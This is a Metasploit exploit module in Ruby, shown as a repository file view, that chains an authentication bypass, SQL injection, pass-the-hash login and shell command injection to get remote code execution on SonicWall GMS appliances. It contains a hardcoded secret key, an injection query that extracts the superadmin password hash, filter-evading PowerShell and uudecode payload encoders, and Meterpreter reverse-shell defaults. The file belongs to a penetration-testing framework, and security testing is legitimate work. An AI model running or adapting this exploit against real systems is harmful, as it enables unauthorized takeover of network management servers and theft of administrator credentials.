/
sonicwall_shell_injection_cve_2023_34124.rb
377 lines (318 loc) · 14.5 KB
/
sonicwall_shell_injection_cve_2023_34124.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html
# We can actually use the title to identify which platform we're on
TITLE_WINDOWS = 'SonicWall Universal Management Host'
TITLE_LINUX = 'SonicWall Universal Management Appliance'
# Secret key (from com.sonicwall.ws.servlet.auth.MSWAuthenticator)
SECRET_KEY = '?~!@#$%^^()'
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Sonicwall',
'Description' => %q{
This module exploits a series of vulnerabilities - including auth
bypass, SQL injection, and shell injection - to obtain remote code
execution on SonicWall GMS versions <= 9.9.9320.
},
'License' => MSF_LICENSE,
'Author' => [
'fulmetalpackets <fulmetalpackets@gmail.com>', # MSF module, analysis
'Ron Bowes <rbowes@rapid7.com>' # MSF module, original PoC, analysis
],
'References' => [
[ 'URL', 'https://www.rapid7.com/blog/post/2023/07/13/etr-sonicwall-recommends-urgent-patching-for-gms-and-analytics-cves/'],
[ 'CVE', '2023-34124'],
[ 'CVE', '2023-34133'],
[ 'CVE', '2023-34132'],
[ 'CVE', '2023-34127']
],
'Privileged' => true,
'Targets' => [
[
'Linux Dropper',
{
'Platform' => ['linux'],
'Arch' => [ARCH_X64],
'Type' => :dropper,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
'WritableDir' => '/tmp'
}
}
],
[
'Windows Command',
{
'Platform' => ['win'],
'Arch' => [ARCH_CMD],
'Type' => :cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp',
'WritableDir' => '%TEMP%'
}
}
],
[
'Linux Command',
{
'Platform' => ['linux', 'unix'],
'Arch' => [ARCH_CMD],
'Type' => :cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/generic'
}
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => '2023-07-12',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK]
},
'DefaultOptions' => {
'SSL' => true,
'RPORT' => '443'
}
)
)
register_options(
[
OptString.new('TARGETURI', [ true, 'The root URI of the Sonicwall appliance', '/']),
]
)
register_advanced_options([
# This varies by target, so don't define the default here
OptString.new('WritableDir', [true, 'A directory where we can write files']),
])
end
def check
vprint_status("Validating SonicWall GMS is running on URI: #{target_uri.path}")
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'GET'
)
# Basic sanity checks - the path should return a HTTP/200
return CheckCode::Unknown('Could not connect to web service - no response') if res.nil?
return CheckCode::Unknown("Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200
# Ensure we're hitting plausible software
return CheckCode::Detected("Running: #{::Regexp.last_match(1)}") if res.body =~ /(SonicWall Universal Management Suite [^<]+)</
# Otherwise, probably safe?
CheckCode::Safe('Does not appear to be running SonicWall GMS')
end
# Exploits CVE-2023-34133 (SQL injection) + CVE-2023-34124 (auth bypass) to
# get a password hash
def get_password_hash
# attempt a sqli.
vprint_status('Attempting to use SQL injection to grab the password hash for the superadmin user...')
# SQL injection question to fetch the admin password
query = "' union select " +
# This must be a valid DOMAIN, which we can thankfully fetch from the DB
'(select ID from SGMSDB.DOMAINS limit 1), ' +
# These fields don't matter
"'', '', '', '', '', " +
# This field is returned, so use it to get the id and password for our
# the super user, if possible
"(select concat(id, ':', password) from sgmsdb.users where active = '1' order by issuperadmin desc limit 1 offset 0)," +
# The rest of the fields don't matter, end with a single quote to finish with a clean query
"'', '', '"
vprint_status("Generated SQL injection: #{query}")
# We need to sign our query with the SECRET_KEY
token = Base64.strict_encode64(OpenSSL::HMAC.digest(OpenSSL::Digest.const_get('SHA1').new, SECRET_KEY, query))
vprint_status("Generated a token using built-in secret key: #{token}")
# Build the URI
# Note that encoding space to '+' doesn't work, so we replace it with '%20'
uri = normalize_uri(target_uri.path, 'ws/msw/tenant', CGI.escape(query).gsub(/\+/, '%20'))
# Do it!
print_status('Sending SQL injection request to get the username/hash...')
res = send_request_cgi(
'method' => 'GET',
'uri' => uri,
'headers' => {
'Auth' => '{"user": "system", "hash": "' + token + '"}'
}
)
# Sanity checks
fail_with(Failure::Unreachable, 'Could not connect to web service - no response') if res.nil?
fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code: #{res.code}") if res.code != 200
fail_with(Failure::UnexpectedReply, "Service didn't return a JSON response") if res.get_json_document.empty?
# This field has the SQL injection response
hash = res.get_json_document['alias']
# If the server responds with an error, it has no 'alias' field so the key
# is missing entirely (this is where it fails against patched targets)
fail_with(Failure::NotVulnerable, "SQL injection failed - service probably isn't vulnerable (or isn't configured)") if hash.nil?
# If alias is present but contains nothing, that means our query got no
# results (probably there are no active users, or something?)
fail_with(Failure::UnexpectedReply, 'SQL injection appeared to work, but no users returned - server might not have an admin account?') if hash.empty?
# If there's no ':' in the response, something super weird happened
fail_with(Failure::UnexpectedReply, 'SQL injection returned the wrong value: no username or hash') if !hash.include?(':')
username, hash = hash.split(/:/, 2)
print_good("Found an account: #{username}:#{hash}")
[username, hash]
end
# Exploits CVE-2023-34132 (pass the hash)
def authenticate(username, hash)
# Grab server hashing token
vprint_status('Grabbing server hashing token...')
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/appliance/login'),
'keep_cookies' => true
)
fail_with(Failure::Unreachable, 'Could not connect to web service - no response') if res.nil?
# Look for the getPwdHash function call, as it contains the token we need
if res.body.match(/getPwdHash.*,'([0-9]+)'/).nil?
fail_with(Failure::UnexpectedReply, 'Could not get the server token for authentication')
end
server_token = ::Regexp.last_match(1)
vprint_status("Got the server-side token: #{server_token}")
# Generate the client_hash by combining the server token + the stolen
# password hash
client_hash = Digest::MD5.hexdigest(server_token + hash)
vprint_status("Generated client token: #{client_hash}")
# Send the token
print_status('Attempting to authenticate with the client token + password hash...')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/appliance/applianceMainPage'),
'keep_cookies' => true,
'vars_post' => {
'action' => 'login',
'clientHash' => client_hash,
'applianceUser' => username
}
})
fail_with(Failure::Unreachable, 'Could not connect to web service - no response') if res.nil?
# Check the title to make sure it worked
html = res.get_html_document
title = html.at('title').text
# We can identify the platform based on the title
if title == TITLE_LINUX
print_good("Successfully logged in as #{username} (Linux detected!)")
return Msf::Module::Platform::Linux
elsif title == TITLE_WINDOWS
print_good("Successfully logged in as #{username} (Windows detected!)")
return Msf::Module::Platform::Windows
end
fail_with(Failure::UnexpectedReply, "Authentication appears to have failed! Title was \"#{title}\", which is not recognized as successful")
end
def execute_command_windows(cmd)
vprint_status("Encoding (Windows) command: #{cmd}")
# While this is a shell command injection issue, an aggressive XSS filter
# prevents us from using a lot of important characters such as quotes and
# plus and ampersands and stuff. We can't even use Base64, because we can't
# use the + sign!
#
# We discovered that we could encode the command as integers, then use
# powershell to decode + execute it, so that's what this does.
cmd = "cmd.exe /c #{Msf::Post::Windows.escape_powershell_literal(cmd).gsub(/&/, '"&"')}"
encoded_cmd = "powershell IEX ([System.Text.Encoding]::UTF8.GetString([byte[]]@(#{cmd.bytes.join(',')})))"
# Run the command
vprint_status("Running shell command: #{cmd}")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/appliance/applianceMainPage'),
'keep_cookies' => true,
'vars_post' => {
'action' => 'file_system',
'task' => 'search',
'searchFolder' => 'C:\\GMSVP\\etc\\',
'searchFilter' => "|#{encoded_cmd}| rem "
}
})
# This doesn't work, because our payload blocks and it eventually fails
fail_with(Failure::Unreachable, 'No response to command execution') if res.nil? || res.body.empty?
fail_with(Failure::UnexpectedReply, 'The server rejected our command due to filtering (the service has very aggressive XSS filtering, which blocks a lot of shell commands)') if res.body.include?('invalid contents found')
print_good('Payload sent!')
end
def execute_command_linux(cmd)
vprint_status('Encoding (Linux) payload')
# Generate a filename
payload_file = File.join(datastore['WritableDir'], ".#{Rex::Text.rand_text_alpha_lower(8)}")
# Wrap the command so we can execute arbitrary commands. There are several
# difficulties here, the first of which is that we don't have much in the
# way of tools. We're missing curl, wget, base64, python, ruby, even perl!
# The best tool I could find for staging a payload is uudecode, so we use
# that. (I noticed later that telnet exists, which could be another option)
#
# The good news is, with uudecode, we can send a base64 payload. The bad
# news is, we can't use '+', which means we can't use pure base64! To work
# around that, we replace '+' with '@', then use a bit of Bash magic to
# put it back! We also can't use quotes, so we have to do a mountain of
# escaping instead. The default shell is also /bin/sh, so we need to run
# bash explicitly for the `$()` substitutions to work.
cmd = [
# Build a command that runs in bash (but don't use quotes!)
'bash -c ',
# Escape all this for bash
Shellwords.escape([
# Use `uudecode` to get a '+' into a variable
"PLUS=$(echo -e begin-base64\ 755\ a\\\\nKwee\\\\n==== | uudecode -o-);",
# Build a new uuencode file (encoded in base64) with the payload
"echo -e begin-base64 755 #{Shellwords.escape(payload_file)}\\\\n",
# Encode the payload as base64, but replace + with a variable
"#{Base64.strict_encode64(cmd).gsub(/\+/, '${PLUS}')}\\\\n",
# Pipe into uudecode
'==== | uudecode;',
# Run in the background with coproc
"coproc #{Shellwords.escape(payload_file)};",
# Delete the payload file
"rm #{payload_file}"
].join)
].join
# Run it!
vprint_status("Encoded shell command: #{cmd}")
print_status('Attempting to execute the shell injection payload')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/appliance/applianceMainPage'),
'keep_cookies' => true,
'vars_post' => {
'action' => 'file_system',
'task' => 'search',
'searchFolder' => '/opt/GMSVP/etc/',
'searchFilter' => ";#{cmd}#"
}
})
# This doesn't work, because our payload blocks and it eventually fails
fail_with(Failure::Unreachable, 'No response to command execution') if res.nil? || res.body.empty?
fail_with(Failure::UnexpectedReply, 'The server rejected our command due to filtering (the service has very aggressive XSS filtering, which blocks a lot of shell commands)') if res.body.include?('invalid contents found')
print_good('Payload sent!')
end
def exploit
# Get the password hash (from SQL injection + auth bypass)
username, hash = get_password_hash
# Use pass-the-hash to log in using that hash
detected_platform = authenticate(username, hash)
# Sanity-check the target
if !datastore['ForceExploit'] && !target.platform.platforms.include?(detected_platform)
fail_with(Failure::BadConfig, "The host appears to be #{detected_platform}, which the target #{target.name} does not support; please choose the appropriate target (or set ForceExploit to true)")
end
# Generate a payload based on the target type
case target['Type']
when :cmd
my_payload = payload.encoded
when :dropper
my_payload = generate_payload_exe
else
fail_with(Failure::BadConfig, "Unknown target type: #{target.type}")
end
# Run a command, using the platform specified in the target
if target.platform.platforms.include?(Msf::Module::Platform::Linux)
execute_command_linux(my_payload)
elsif target.platform.platforms.include?(Msf::Module::Platform::Windows)
execute_command_windows(my_payload)
else
fail_with(Failure::Unknown, "Unknown platform: #{platform}")
end
end
end